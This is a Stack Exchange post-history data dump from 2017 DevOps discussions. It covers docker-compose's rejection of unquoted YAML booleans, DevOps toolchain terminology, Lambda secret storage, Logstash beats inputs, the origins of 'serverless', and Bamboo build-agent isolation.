  <row Id="1683" PostHistoryTypeId="5" PostId="537" RevisionGUID="bbf0d33e-8e22-4486-82b8-50bc8c06f3d3" CreationDate="2017-03-16T17:23:23.613" UserId="210" Comment="added 142 characters in body" Text="Defining a boolean in a docker-compose.yml file:&#xD;&#xA;&#xD;&#xA;    environment:&#xD;&#xA;      SOME_VAR: true&#xD;&#xA;&#xD;&#xA;and running `docker up` results in:&#xD;&#xA;&#xD;&#xA;    contains true, which is an invalid type, it should be a string, number, or a null&#xD;&#xA;&#xD;&#xA;**Attempts to solve the issue**&#xD;&#xA;&#xD;&#xA; 1. If true is changed to True the issue persists.&#xD;&#xA; 2. using `'true'` is not accepted by the code itself:&#xD;&#xA;&#xD;&#xA;    VAR has type STRING rather than BOOLEAN&#xD;&#xA;&#xD;&#xA; 3. Using `yes` or `no` as a variable results in:&#xD;&#xA;&#xD;&#xA;    contains true, which is an invalid type, it should be a string, number, or a null&#xD;&#xA;&#xD;&#xA; 4. Using `yes` and using a script that transforms `yes` to true works&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1684" PostHistoryTypeId="5" PostId="537" RevisionGUID="4f3e6260-bf86-4310-99aa-77803a1faac3" CreationDate="2017-03-16T17:28:35.260" UserId="210" Comment="added 142 characters in body" Text="Defining a boolean in a docker-compose.yml file:&#xD;&#xA;&#xD;&#xA;    environment:&#xD;&#xA;      SOME_VAR: true&#xD;&#xA;&#xD;&#xA;and running `docker up` results in:&#xD;&#xA;&#xD;&#xA;    contains true, which is an invalid type, it should be a string, number, or a null&#xD;&#xA;&#xD;&#xA;**Attempts to solve the issue**&#xD;&#xA;&#xD;&#xA; 1. If true is changed to True the issue persists.&#xD;&#xA; 2. using `'true'` is not accepted by the code itself ([a play framework app][1] is started using the `./target/universal/stage/bin/APPNAME -Dplay.evolutions.db.default.autoApply=`, i.e. either `-Dplay.evolutions.db.default.autoApply=true` or `-Dplay.evolutions.db.default.autoApply=false` parameter):&#xD;&#xA;&#xD;&#xA;    VAR has type STRING rather than BOOLEAN&#xD;&#xA;&#xD;&#xA; 3. Using `yes` or `no` as a variable results in:&#xD;&#xA;&#xD;&#xA;    contains true, which is an invalid type, it should be a string, number, or a null&#xD;&#xA;&#xD;&#xA; 4. Using `yes` and using a script that transforms `yes` to true works&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.playframework.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1685" PostHistoryTypeId="6" PostId="537" RevisionGUID="4f3e6260-bf86-4310-99aa-77803a1faac3" CreationDate="2017-03-16T17:28:35.260" UserId="210" Comment="added 142 characters in body" Text="&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1686" PostHistoryTypeId="2" PostId="538" RevisionGUID="b4699760-b8b2-4359-93a4-ae6faf6e30e9" CreationDate="2017-03-16T17:33:10.270" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1687" PostHistoryTypeId="1" PostId="538" RevisionGUID="b4699760-b8b2-4359-93a4-ae6faf6e30e9" CreationDate="2017-03-16T17:33:10.270" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1688" PostHistoryTypeId="2" PostId="539" RevisionGUID="1ad0b0ab-f36e-4159-804e-2422c765bb9d" CreationDate="2017-03-16T17:33:10.270" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1689" PostHistoryTypeId="1" PostId="539" RevisionGUID="1ad0b0ab-f36e-4159-804e-2422c765bb9d" CreationDate="2017-03-16T17:33:10.270" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1690" PostHistoryTypeId="5" PostId="537" RevisionGUID="2b476cfc-434d-4ec0-be42-d84bf35d3d52" CreationDate="2017-03-16T17:41:26.867" UserId="210" Comment="added 943 characters in body" Text="Defining a boolean in a docker-compose.yml file:&#xD;&#xA;&#xD;&#xA;    environment:&#xD;&#xA;      SOME_VAR: true&#xD;&#xA;&#xD;&#xA;and running `docker up` results in:&#xD;&#xA;&#xD;&#xA;    contains true, which is an invalid type, it should be a string, number, or a null&#xD;&#xA;&#xD;&#xA;**Attempts to solve the issue**&#xD;&#xA;&#xD;&#xA; 1. If true is changed to True the issue persists.&#xD;&#xA; 2. using `'true'` is not accepted by the code itself ([a play framework app][1] is started using the `./target/universal/stage/bin/APPNAME -Dplay.evolutions.db.default.autoApply=`, i.e. either `-Dplay.evolutions.db.default.autoApply=true` or `-Dplay.evolutions.db.default.autoApply=false` parameter):&#xD;&#xA;&#xD;&#xA;    VAR has type STRING rather than BOOLEAN&#xD;&#xA;&#xD;&#xA; 3. Using `yes` or `no` as a variable results in:&#xD;&#xA;&#xD;&#xA;    contains true, which is an invalid type, it should be a string, number, or a null&#xD;&#xA;&#xD;&#xA; 4. Using `yes` and using a script that transforms `yes` to true works&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;[According the docs][2] `Any boolean values; true, false, yes no, need to be enclosed in quotes to ensure they are not converted to True or False by the YML parser`:&#xD;&#xA;&#xD;&#xA;&gt; **environment**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Add environment variables. You can use either an array or a&#xD;&#xA;&gt; dictionary. Any boolean values; true, false, yes no, need to be&#xD;&#xA;&gt; enclosed in quotes to ensure they are not converted to True or False&#xD;&#xA;&gt; by the YML parser.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Environment variables with only a key are resolved to their values on&#xD;&#xA;&gt; the machine Compose is running on, which can be helpful for secret or&#xD;&#xA;&gt; host-specific values.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     environment:&#xD;&#xA;&gt;       RACK_ENV: development&#xD;&#xA;&gt;       SHOW: 'true'&#xD;&#xA;&gt;       SESSION_SECRET:&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     environment:&#xD;&#xA;&gt;       - RACK_ENV=development&#xD;&#xA;&gt;       - SHOW=true&#xD;&#xA;&gt;       - SESSION_SECRET&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;Why is it not allowed?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.playframework.com/&#xD;&#xA;  [2]: https://docs.docker.com/compose/compose-file/compose-file-v1/#entrypoint" ContentLicense="CC BY-SA 3.0" />
  <row Id="1691" PostHistoryTypeId="5" PostId="537" RevisionGUID="58189343-be60-448c-8313-0bb2e4ea6453" CreationDate="2017-03-16T17:45:26.510" UserId="40" Comment="edited body" Text="Defining a boolean in a docker-compose.yml file:&#xD;&#xA;&#xD;&#xA;    environment:&#xD;&#xA;      SOME_VAR: true&#xD;&#xA;&#xD;&#xA;and running `docker up` results in:&#xD;&#xA;&#xD;&#xA;    contains true, which is an invalid type, it should be a string, number, or a null&#xD;&#xA;&#xD;&#xA;**Attempts to solve the issue**&#xD;&#xA;&#xD;&#xA; 1. If true is changed to True the issue persists.&#xD;&#xA; 2. Using `'true'` is not accepted by the code itself ([a play framework app][1] is started using the `./target/universal/stage/bin/APPNAME -Dplay.evolutions.db.default.autoApply=`, i.e. either `-Dplay.evolutions.db.default.autoApply=true` or `-Dplay.evolutions.db.default.autoApply=false` parameter):&#xD;&#xA;&#xD;&#xA;    VAR has type STRING rather than BOOLEAN&#xD;&#xA;&#xD;&#xA; 3. Using `yes` or `no` as a variable results in:&#xD;&#xA;&#xD;&#xA;    contains true, which is an invalid type, it should be a string, number, or a null&#xD;&#xA;&#xD;&#xA; 4. Using `yes` and using a script that transforms `yes` to true works&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;[According the docs][2] `Any boolean values; true, false, yes no, need to be enclosed in quotes to ensure they are not converted to True or False by the YML parser`:&#xD;&#xA;&#xD;&#xA;&gt; **Environment**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Add environment variables. You can use either an array or a&#xD;&#xA;&gt; dictionary. Any boolean values; true, false, yes no, need to be&#xD;&#xA;&gt; enclosed in quotes to ensure they are not converted to True or False&#xD;&#xA;&gt; by the YML parser.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Environment variables with only a key are resolved to their values on&#xD;&#xA;&gt; the machine Compose is running on, which can be helpful for secret or&#xD;&#xA;&gt; host-specific values.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     environment:&#xD;&#xA;&gt;       RACK_ENV: development&#xD;&#xA;&gt;       SHOW: 'true'&#xD;&#xA;&gt;       SESSION_SECRET:&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     environment:&#xD;&#xA;&gt;       - RACK_ENV=development&#xD;&#xA;&gt;       - SHOW=true&#xD;&#xA;&gt;       - SESSION_SECRET&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;Why is it not allowed?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.playframework.com/&#xD;&#xA;  [2]: https://docs.docker.com/compose/compose-file/compose-file-v1/#entrypoint" ContentLicense="CC BY-SA 3.0" />
  <row Id="1695" PostHistoryTypeId="2" PostId="541" RevisionGUID="2f53936f-a31d-47c1-ab2b-0a6ea95328cc" CreationDate="2017-03-17T06:48:57.857" UserId="2" Text="That's YAML. It interprets `true` as a boolean. Envars must be strings, hence the requirement to make the type explicit via quotes.&#xD;&#xA;&#xD;&#xA;Test this out with https://www.json2yaml.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1696" PostHistoryTypeId="2" PostId="542" RevisionGUID="d925c247-739e-4245-b278-213f3f99c0e3" CreationDate="2017-03-17T08:54:40.677" UserId="13" Text="This come from a design choice of YAML language about [booleans](http://yaml.org/type/bool.html)&#xD;&#xA;&#xD;&#xA;Every unquoted value matching this &quot;regex&quot;:&#xD;&#xA;&#xD;&#xA;     y|Y|yes|Yes|YES|n|N|no|No|NO&#xD;&#xA;    |true|True|TRUE|false|False|FALSE&#xD;&#xA;    |on|On|ON|off|Off|OFF&#xD;&#xA;&#xD;&#xA;Will be converted to `True`  or `False`.&#xD;&#xA;&#xD;&#xA;This start causing a problem when your code will test an environment value to be yes or no for example taking this script (other examples [in the PR discution](https://github.com/docker/compose/pull/2000#issuecomment-138676720)):&#xD;&#xA;&#xD;&#xA;    if [ &quot;$SOME_VAR&quot; == &quot;yes&quot; ];&#xD;&#xA;    then&#xD;&#xA;      echo &quot;Variable SOME_VAR is activated&quot;&#xD;&#xA;    else&#xD;&#xA;      echo &quot;Variable SOME_VAR is NOT activated&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;And setting in your compose file&#xD;&#xA;&#xD;&#xA;    environment:&#xD;&#xA;      SOME_VAR: yes&#xD;&#xA;&#xD;&#xA;Will result in `SOME_VAR` being `True` when the script run, hence taking the wrong case as it is not equal to `yes`.&#xD;&#xA;&#xD;&#xA;So the choice [has been made][1] to [disallow boolean][2] to prevent unwanted behaviors hard to debug when you're not aware of the YAML rule.&#xD;&#xA;&#xD;&#xA;I see two way to get over the problem:&#xD;&#xA;&#xD;&#xA;1. Using an [`env_file`](https://docs.docker.com/compose/compose-file/compose-file-v1/#envfile) instead, they are not parsed IIRC and should prevent the conversion.&#xD;&#xA;&#xD;&#xA;2. As you already said, use a wrapper script around your launcher to define the value instead before launching the app, something along the line of this should do:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;        AUTOAPPLY=false&#xD;&#xA;        if [ &quot;$SOME_VAR&quot; == &quot;true&quot; ]&#xD;&#xA;        then&#xD;&#xA;            AUTOAPPLY=true&#xD;&#xA;        fi&#xD;&#xA;        &#xD;&#xA;        ./target/universal/stage/bin/APPNAME -Dplay.evolutions.db.default.autoApply=$AUTOAPPLY&#xD;&#xA;&#xD;&#xA;  [2]: https://github.com/docker/compose/pull/2000&#xD;&#xA;  [1]: https://github.com/docker/compose/issues/1788&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1697" PostHistoryTypeId="5" PostId="531" RevisionGUID="18474688-cc9a-41cd-82b1-4f00796ca365" CreationDate="2017-03-17T08:57:00.700" UserId="460" Comment="Tried to clarify the question a bit more" Text="It seems that many people somehow try to define the software development process using DevOps tools but there is no alignment; still I assume that this is more a question of maturity/alignment, not of matter of taste. &#xD;&#xA;&#xD;&#xA;Question: Is there a commonly agreed-upon list of terms to describe the DevOps toolchain which is not opinion but evidence based? (Letting alone that in some cases you would avoid one or more of them)&#xD;&#xA;&#xD;&#xA;Some examples I've seen at available popular sources:&#xD;&#xA;&#xD;&#xA; - Plan, Develop, Test, Release, Operate&#xD;&#xA;   &#xD;&#xA; - Plan, Code, Build, Test, Release, Deploy, Operate, Monitor&#xD;&#xA;   &#xD;&#xA; - Requirements, Development, Build, Testing, Deployment, Execution&#xD;&#xA;&#xD;&#xA;On the Wiki page for the [DevOps toolchain](https://en.wikipedia.org/wiki/DevOps_toolchain), the image does not correlate with the text.&#xD;&#xA;&#xD;&#xA;[![Devops Toolchain from Wikipedia][1]][1]&#xD;&#xA;&#xD;&#xA;*DevOps Toolchain on Wikipedia, [By Kharnagy - Own work, CC BY-SA 4.0Wikipedia](https://commons.wikimedia.org/w/index.php?curid=51215412)*&#xD;&#xA;&#xD;&#xA;Sources:&#xD;&#xA;https://devops.com/devops-2017-cdos-care/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/7NmOQ.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="1698" PostHistoryTypeId="4" PostId="531" RevisionGUID="18474688-cc9a-41cd-82b1-4f00796ca365" CreationDate="2017-03-17T08:57:00.700" UserId="460" Comment="Tried to clarify the question a bit more" Text="What are the commonly-accepted terms for a complete DevOps toolchain?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1699" PostHistoryTypeId="6" PostId="531" RevisionGUID="18474688-cc9a-41cd-82b1-4f00796ca365" CreationDate="2017-03-17T08:57:00.700" UserId="460" Comment="Tried to clarify the question a bit more" Text="&lt;terminology&gt;&lt;toolchain&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1700" PostHistoryTypeId="24" PostId="531" RevisionGUID="18474688-cc9a-41cd-82b1-4f00796ca365" CreationDate="2017-03-17T08:57:00.700" Comment="Proposed by 460 approved by 40, 13 edit id of 152" ContentLicense="CC BY-SA 3.0" />
  <row Id="1702" PostHistoryTypeId="2" PostId="543" RevisionGUID="fdea3518-1ce5-440a-882e-33b9cab5d32f" CreationDate="2017-03-17T09:11:17.047" UserId="2" Text="With serverless.com, the easiest way to expose a secret to an AWS Lambda function is to store it in the `serverless.yml` file (encrypted with KMS, for example).&#xD;&#xA;&#xD;&#xA;But committing encrypted secrets to Git is not the best thing in the world. Requires code changes when the secret has to change, for one thing.&#xD;&#xA;&#xD;&#xA;But in terms of security alone, what are better alternatives? e.g. the secret could be stored in S3 (encrypted), with the Lambda given access to that location and KMS key, but is that actually better in any meaningful way?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1703" PostHistoryTypeId="1" PostId="543" RevisionGUID="fdea3518-1ce5-440a-882e-33b9cab5d32f" CreationDate="2017-03-17T09:11:17.047" UserId="2" Text="Storing encrypted secrets in code for a serverless.com project" ContentLicense="CC BY-SA 3.0" />
  <row Id="1704" PostHistoryTypeId="3" PostId="543" RevisionGUID="fdea3518-1ce5-440a-882e-33b9cab5d32f" CreationDate="2017-03-17T09:11:17.047" UserId="2" Text="&lt;security&gt;&lt;aws-lambda&gt;&lt;serverless&gt;&lt;encryption&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1705" PostHistoryTypeId="5" PostId="531" RevisionGUID="e224f77f-d880-4723-8bc4-671cfe026640" CreationDate="2017-03-17T09:40:54.960" UserId="460" Comment="it's actually the toolchain model the OP is asking about (toolchain would refer to the actual tools used)" Text="It seems that many people somehow try to define the software development process using a DevOps tools model but there is no alignment; still I assume that this is more a question of maturity/alignment, not of matter of taste. &#xD;&#xA;&#xD;&#xA;Question: Is there a commonly agreed-upon list of terms to describe the DevOps toolchain model which is not opinion but evidence based? (Letting alone that in some cases you would avoid one or more of them)&#xD;&#xA;&#xD;&#xA;Some examples I've seen at available popular sources:&#xD;&#xA;&#xD;&#xA; - Plan, Develop, Test, Release, Operate&#xD;&#xA;   &#xD;&#xA; - Plan, Code, Build, Test, Release, Deploy, Operate, Monitor&#xD;&#xA;   &#xD;&#xA; - Requirements, Development, Build, Testing, Deployment, Execution&#xD;&#xA;&#xD;&#xA;On the Wiki page for the [DevOps toolchain](https://en.wikipedia.org/wiki/DevOps_toolchain), the image does not correlate with the text.&#xD;&#xA;&#xD;&#xA;[![Devops Toolchain stages on Wikipedia][1]][1]&#xD;&#xA;&#xD;&#xA;*DevOps Toolchain stages on Wikipedia, [By Kharnagy - Own work, CC BY-SA 4.0Wikipedia](https://commons.wikimedia.org/w/index.php?curid=51215412)*&#xD;&#xA;&#xD;&#xA;Sources:&#xD;&#xA;https://devops.com/devops-2017-cdos-care/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/7NmOQ.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="1706" PostHistoryTypeId="4" PostId="531" RevisionGUID="e224f77f-d880-4723-8bc4-671cfe026640" CreationDate="2017-03-17T09:40:54.960" UserId="460" Comment="it's actually the toolchain model the OP is asking about (toolchain would refer to the actual tools used)" Text="What are the commonly-accepted terms for a complete DevOps toolchain model?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1707" PostHistoryTypeId="24" PostId="531" RevisionGUID="e224f77f-d880-4723-8bc4-671cfe026640" CreationDate="2017-03-17T09:40:54.960" Comment="Proposed by 460 approved by 13, 707 edit id of 153" ContentLicense="CC BY-SA 3.0" />
  <row Id="1709" PostHistoryTypeId="2" PostId="544" RevisionGUID="3ef4497b-7b86-49ee-a051-96eed597d737" CreationDate="2017-03-17T10:34:48.310" UserId="13" Text="After a few research around the `beats` input plugin and specially [this rewrite](https://github.com/logstash-plugins/logstash-input-beats/issues/92) I wonder if I should use only one beat input or multiples to handle multiples entry types.&#xD;&#xA;&#xD;&#xA;I'll have events coming from roughly 500 machines, with a 20/80 windows/linux distribution. I plan to use the multiples [beats shipper](https://www.elastic.co/products/beats), filebeat, metricbeat and maybe packetbeat.&#xD;&#xA;&#xD;&#xA;Is there an interest at using one input per type/os couple or would just one input and &quot;if type=...&quot; in the filter pipeline be enough ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1710" PostHistoryTypeId="1" PostId="544" RevisionGUID="3ef4497b-7b86-49ee-a051-96eed597d737" CreationDate="2017-03-17T10:34:48.310" UserId="13" Text="Should I use multiple beats input in Logstash?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1711" PostHistoryTypeId="3" PostId="544" RevisionGUID="3ef4497b-7b86-49ee-a051-96eed597d737" CreationDate="2017-03-17T10:34:48.310" UserId="13" Text="&lt;architecture&gt;&lt;performance&gt;&lt;logstash&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1712" PostHistoryTypeId="5" PostId="531" RevisionGUID="385d9810-c6aa-4652-bc77-e6f96f6efdb3" CreationDate="2017-03-17T10:40:28.430" UserId="40" Comment="(Attempt to) further improve the question" Text="It seems that many people somehow try to define the software development process using a DevOps tools model but there is no alignment; still I assume that this is more a question of maturity/alignment, not of matter of taste. &#xD;&#xA;&#xD;&#xA;**Question**: Is there a commonly agreed-upon list of terms to describe the DevOps toolchain model which is not opinion but evidence based? (Letting alone that in some cases you would avoid one or more of them)&#xD;&#xA;&#xD;&#xA;Some examples I've seen at available popular sources:&#xD;&#xA;&#xD;&#xA; - Plan, Develop, Test, Release, Operate&#xD;&#xA;   &#xD;&#xA; - Plan, Code, Build, Test, Release, Deploy, Operate, Monitor&#xD;&#xA;   &#xD;&#xA; - Requirements, Development, Build, Testing, Deployment, Execution&#xD;&#xA;&#xD;&#xA;Here is a quote from the Wikipedia page for the [DevOps toolchain](https://en.wikipedia.org/wiki/DevOps_toolchain):&#xD;&#xA;&#xD;&#xA;&gt; A **DevOps toolchain** is a set or combination of tools that aid in the delivery, development, and management of applications throughout the [software development lifecycle][1], as coordinated by an organisation that uses [DevOps][2] practices.&#xD;&#xA;&#xD;&#xA;&gt; Generally, DevOps tools fit into one or more activities, which supports specific DevOps initiatives: Plan, Create, Verify, Preprod, Release, Configure, and Monitor.&#xD;&#xA;&#xD;&#xA;&gt; Another proposed toolchain model was referenced in 2014 as coming from &quot;an unknown source&quot; as Plan, Code, Build, Test, Release, Deploy, Operate and Monitor.&#xD;&#xA;&#xD;&#xA;However, that same Wikipedia page also contains an image which looks like so:&#xD;&#xA;&#xD;&#xA;[![Devops Toolchain stages on Wikipedia][3]][3]&#xD;&#xA;&#xD;&#xA;This image, IMO, does not correlate with the text on that page.&#xD;&#xA;&#xD;&#xA;*DevOps Toolchain stages on Wikipedia, [By Kharnagy - Own work, CC BY-SA 4.0Wikipedia](https://commons.wikimedia.org/w/index.php?curid=51215412)*&#xD;&#xA;&#xD;&#xA;Sources:&#xD;&#xA;https://devops.com/devops-2017-cdos-care/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Software_development_lifecycle&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/DevOps&#xD;&#xA;  [3]: https://i.stack.imgur.com/7NmOQ.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="1713" PostHistoryTypeId="5" PostId="539" RevisionGUID="cfff22ab-731d-4e06-8acf-2c0cc53cba63" CreationDate="2017-03-17T12:41:50.443" UserId="210" Comment="added 207 characters in body" Text="Docker-compose is a tool that is able to run multiple container by issuing `docker-compose up`. One of the features is that DNS mappings could be made between the containers so that they can find each other." ContentLicense="CC BY-SA 3.0" />
  <row Id="1714" PostHistoryTypeId="24" PostId="539" RevisionGUID="cfff22ab-731d-4e06-8acf-2c0cc53cba63" CreationDate="2017-03-17T12:41:50.443" Comment="Proposed by 210 approved by 40, 3 edit id of 151" ContentLicense="CC BY-SA 3.0" />
  <row Id="1716" PostHistoryTypeId="11" PostId="531" RevisionGUID="ca1f5f86-824a-4af0-9f0f-4c78653028e9" CreationDate="2017-03-17T16:11:13.333" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:57,&quot;DisplayName&quot;:&quot;Romeo Ninov&quot;},{&quot;Id&quot;:460,&quot;DisplayName&quot;:&quot;THelper&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;}]}" />
  <row Id="1717" PostHistoryTypeId="5" PostId="544" RevisionGUID="dad5a140-e127-4b65-9ebd-b400971a5d8d" CreationDate="2017-03-17T16:37:17.297" UserId="13" Comment="deleted 3 characters in body" Text="After some researches around the `beats` input plugin and specially [this rewrite](https://github.com/logstash-plugins/logstash-input-beats/issues/92) I wonder if I should use only one beat input or multiples to handle multiples entry types.&#xD;&#xA;&#xD;&#xA;I'll have events coming from roughly 500 machines, with a 20/80 windows/linux distribution. I plan to use multiples [beats shipper](https://www.elastic.co/products/beats), filebeat, metricbeat and maybe packetbeat.&#xD;&#xA;&#xD;&#xA;Is there an interest at using one input per type/os couple or would just one input and &quot;if type=...&quot; in the filter pipeline be enough ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1718" PostHistoryTypeId="2" PostId="545" RevisionGUID="688fbeb2-2286-4596-a34c-7796fd509725" CreationDate="2017-03-17T16:44:51.297" UserId="228" Text="Beside simply explaining the definition of the term Serverless, the origins of the term and it’s history give some insight as well into its meaning. The concept originated with the [JAWS][1] [framework][2] by [Austen Colins][3], which got  [later renamed][4] as [Serverless][5]. I've learned of it first in AWS re:Invent 2015 [session][6], which can be helped to date the concept. This is what actually coined the term Serverless, which then spread quickly to other cloud systems: &#xD;&#xA;&#xD;&#xA; - Amazon AWS [introduced][7] new service called [Lamba][8] in November 2014.  &#xD;&#xA; - Google Cloud [has quietly launched][9] its [Functions][10] in February 2016. &#xD;&#xA; - Microsoft Azure [quickly followed][11] with [Functions][12] on [last day of March][13] 2016.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/blogs/compute/getting-started-with-jaws-on-amazon-web-services/&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Serverless_Framework&#xD;&#xA;  [3]: https://aws.amazon.com/heroes/usa/austen-collins/&#xD;&#xA;  [4]: https://serverlesscode.com/post/serverless-formerly-jaws/&#xD;&#xA;  [5]: https://github.com/serverless/serverless&#xD;&#xA;  [6]: https://www.youtube.com/watch?v=D_U6luQ6I90&amp;ab_channel=AmazonWebServices&#xD;&#xA;  [7]: https://aws.amazon.com/blogs/aws/run-code-cloud/&#xD;&#xA;  [8]: https://aws.amazon.com/lambda/details/&#xD;&#xA;  [9]: http://venturebeat.com/2016/02/09/google-has-quietly-launched-its-answer-to-aws-lambda/&#xD;&#xA;  [10]: https://cloud.google.com/functions/&#xD;&#xA;  [11]: https://serifandsemaphore.io/azure-cloud-functions-vs-aws-lambda-caf8a90605dd#.thaq93inr&#xD;&#xA;  [12]: https://azure.microsoft.com/en-us/services/functions/&#xD;&#xA;  [13]: https://azure.microsoft.com/en-us/blog/introducing-azure-functions/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1719" PostHistoryTypeId="5" PostId="545" RevisionGUID="7f88ab5f-fc1f-49f2-b29e-d1f216f572f0" CreationDate="2017-03-17T17:06:29.163" UserId="14" Comment="added 2 characters in body" Text="Beside simply explaining the definition of the term Serverless, the origins of the term and it’s history give some insight as well into its meaning. The concept originated with the [JAWS][1] [framework][2] by [Austen Collins][3], which got  [later renamed][4] as [Serverless][5]. I've learned of it first in AWS re:Invent 2015 [session][6], which can be helped to date the concept. This is what actually coined the term Serverless, which then spread quickly to other cloud systems: &#xD;&#xA;&#xD;&#xA; - Amazon AWS [introduced][7] new service called [Lambda][8] in November 2014.  &#xD;&#xA; - Google Cloud [has quietly launched][9] its [Functions][10] in February 2016. &#xD;&#xA; - Microsoft Azure [quickly followed][11] with [Functions][12] on [last day of March][13] 2016.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/blogs/compute/getting-started-with-jaws-on-amazon-web-services/&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Serverless_Framework&#xD;&#xA;  [3]: https://aws.amazon.com/heroes/usa/austen-collins/&#xD;&#xA;  [4]: https://serverlesscode.com/post/serverless-formerly-jaws/&#xD;&#xA;  [5]: https://github.com/serverless/serverless&#xD;&#xA;  [6]: https://www.youtube.com/watch?v=D_U6luQ6I90&amp;ab_channel=AmazonWebServices&#xD;&#xA;  [7]: https://aws.amazon.com/blogs/aws/run-code-cloud/&#xD;&#xA;  [8]: https://aws.amazon.com/lambda/details/&#xD;&#xA;  [9]: http://venturebeat.com/2016/02/09/google-has-quietly-launched-its-answer-to-aws-lambda/&#xD;&#xA;  [10]: https://cloud.google.com/functions/&#xD;&#xA;  [11]: https://serifandsemaphore.io/azure-cloud-functions-vs-aws-lambda-caf8a90605dd#.thaq93inr&#xD;&#xA;  [12]: https://azure.microsoft.com/en-us/services/functions/&#xD;&#xA;  [13]: https://azure.microsoft.com/en-us/blog/introducing-azure-functions/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1720" PostHistoryTypeId="2" PostId="546" RevisionGUID="1c536670-bcc8-4d44-b518-abf3617e6bbe" CreationDate="2017-03-17T17:28:55.800" UserId="677" Text="There is currently no ability to restrict jobs which are able to run on the same agent from potentially interacting with each other. There are a bunch of feature requests asking for this sort of granularity, but if I understand your question correctly the most fitting request would be this one [BAM-2504 Jira Ticket][1]&#xA;&#xA;It's a huge gap in the product line, the only solution I've found is similar to what is proposed by the request linked above, essentially your bamboo process would need to run with sufficient privileges to impersonate a set of users who represent the projects which you would like to keep separate. &#xA;&#xA;Once you have this sort of mechanism in place you just need to try to enforce that all plans run as one of the impersonatable accounts, depending for example on the project or the creator etc.&#xA;&#xA;Problematically the way that access controls currently exist this would mean that few core admins would need to set up all the plans so that they can he sure of the required permissions split rather than letting non-administrative users edit and create their own plans.&#xA;&#xA;If this sort of approach isnt feasible, which it isn't once you get into the &quot;many hundreds of users&quot; type of range, then the only thing you can really do to try and stop build jobs from interacting with each other is implement the very weak controls that bamboo gives you.&#xA;&#xA;I've tried two approaches to doing this:&#xA;&#xA; 1. Delete or cripple (remove all capabilities from) your local agents and for every different project/team/whatever that on boards to your bamboo instance you need to force them to BYO build server. In most instances I've been involved in the cost of an agent is utterly trivial compared to the cost of potential data leakage or malicious plan interactions.&#xA; 2. Make sure that projects that do have, or that think they do have, sensitive data involved in their plans always sanitise their environments after they build. This shifts the burden off the team administering the tools and onto the projects writing their plans and forces them to defensively clean up any information that they don't want potentially available to others.&#xA;&#xA;Neither solution is even close to perfect but to the best of my knowledge that's about as much separation as you can enforce if you have a shared bamboo instance.&#xA;&#xA;  [1]: https://jira.atlassian.com/browse/BAM-2504 &quot;BAM-2504&quot;" ContentLicense="CC BY-SA 3.0" />
